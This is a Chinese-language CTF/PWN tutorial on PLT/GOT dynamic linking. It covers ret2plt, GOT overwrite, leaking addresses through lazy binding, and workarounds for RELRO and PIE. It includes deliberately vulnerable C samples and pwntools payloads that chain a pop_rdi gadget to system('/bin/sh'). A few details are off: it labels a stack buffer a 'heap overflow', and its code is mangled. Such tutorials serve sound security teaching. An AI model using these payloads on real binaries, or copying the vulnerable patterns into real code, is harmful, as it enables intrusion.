
从零理解PLT/GOT动态链接在PWN实战中的5个关键应用场景1. 动态链接机制与PLT/GOT基础在Linux系统中动态链接是现代程序运行的基石。当我们在C代码中调用printf这样的标准库函数时编译器并不会将函数实现直接嵌入可执行文件而是通过PLTProcedure Linkage Table和GOTGlobal Offset Table这两个关键数据结构实现按需加载。**延迟绑定Lazy Binding**是动态链接的核心优化策略。它意味着函数地址的解析会推迟到第一次调用时进行这显著提升了程序启动速度。整个过程就像餐厅的点餐流程顾客程序查看菜单PLT表选择菜品函数服务员动态链接器第一次接到订单时去厨房共享库确认做法之后相同的订单直接使用记忆中的做法缓存地址用技术术语描述典型的外部函数调用流程如下call printfplt ; 跳转到PLT表项 printfplt: jmp *printfgot ; 第一次跳转到GOT表项会指向下条指令 push reloc_index ; 压入重定位索引 jmp _dl_runtime_resolve ; 跳转到动态解析器关键提示.got.plt段具有可写属性而.plt段只有可执行权限这种权限分离是许多安全机制的基础。2. ret2plt攻击技术剖析ret2plt是最基础的PLT/GOT利用技术适用于NX保护开启但ASLR未启用的情况。其核心思路是将控制流劫持到PLT表中的已知地址绕过shellcode执行限制。典型攻击步骤通过栈溢出覆盖返回地址为systemplt精心构造栈帧使参数指向/bin/sh字符串利用PLT表项跳转到GOT中存储的system真实地址在CTF实战中我们可以用pwntools快速定位关键地址from pwn import * elf ELF(./vulnerable) system_plt elf.plt[system] binsh next(elf.search(b/bin/sh))下表比较了常见函数的PLT调用特征函数名参数要求适用场景systemconst char* cmd直接获取shellexecve完整参数列表更精细的控制putsconst char* s信息泄漏printf格式化字符串格式化字符串漏洞利用3. GOT覆写高级技巧GOT表可写的特性使其成为攻击者的理想目标。通过任意写漏洞修改GOT表项可以实现一次写入多次控制的效果。实战案例存在堆溢出漏洞的程序中void vuln() { char buf[64]; read(0, buf, 256); // 堆溢出 puts(Hello); }利用流程泄漏putsgot地址获取libc基址计算system真实地址通过溢出修改putsgot为system地址下次调用puts时实际执行system# 计算偏移 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) puts_got elf.got[puts] system_offset libc.symbols[system] puts_offset libc.symbols[puts] system_addr leaked_puts - (puts_offset - system_offset) # 构造payload payload bA*72 p64(pop_rdi) p64(binsh) p64(system_plt)4. 绕过延迟绑定的艺术当程序尚未调用目标函数时其GOT表项指向解析例程而非真实地址。这时候需要分阶段攻击阶段一触发解析劫持控制流到printfplt确保参数合法避免崩溃获取函数真实地址阶段二利用解析结果计算libc基址二次攻击使用解析后的地址// 典型漏洞代码 void main() { char buf[40]; gets(buf); // 栈溢出漏洞 // 从未调用过system函数 }对应的攻击脚本策略# 第一次触发解析 payload1 bA*56 p64(puts_plt) p64(main_addr) send(payload1) leak recv() # 第二次实际攻击 payload2 bA*56 p64(system_addr) p64(0) p64(binsh) send(payload2)5. 现代防护下的PLT/GOT利用面对Full RELRO、PIE等现代防护传统的GOT覆写可能失效但仍有一些突破思路技术一.plt.sec利用新版本glibc引入的受保护PLT段通过__libc_csu_init等辅助函数间接调用技术二ret2dlresolve伪造Elf32_Rel/Elf64_Rel结构体控制动态链接器的解析过程适用于无libc泄漏场景技术三FSOPPLT组合结合文件流 Oriented Programming通过_IO_FILE结构体控制程序流最终跳转到PLT表项完成利用实际漏洞利用中经常需要组合多种技术。例如先用堆漏洞泄漏地址再通过栈溢出控制流最后借助PLT/GOT机制实现稳定利用。理解这些底层机制才能在各种防护措施下找到突破口。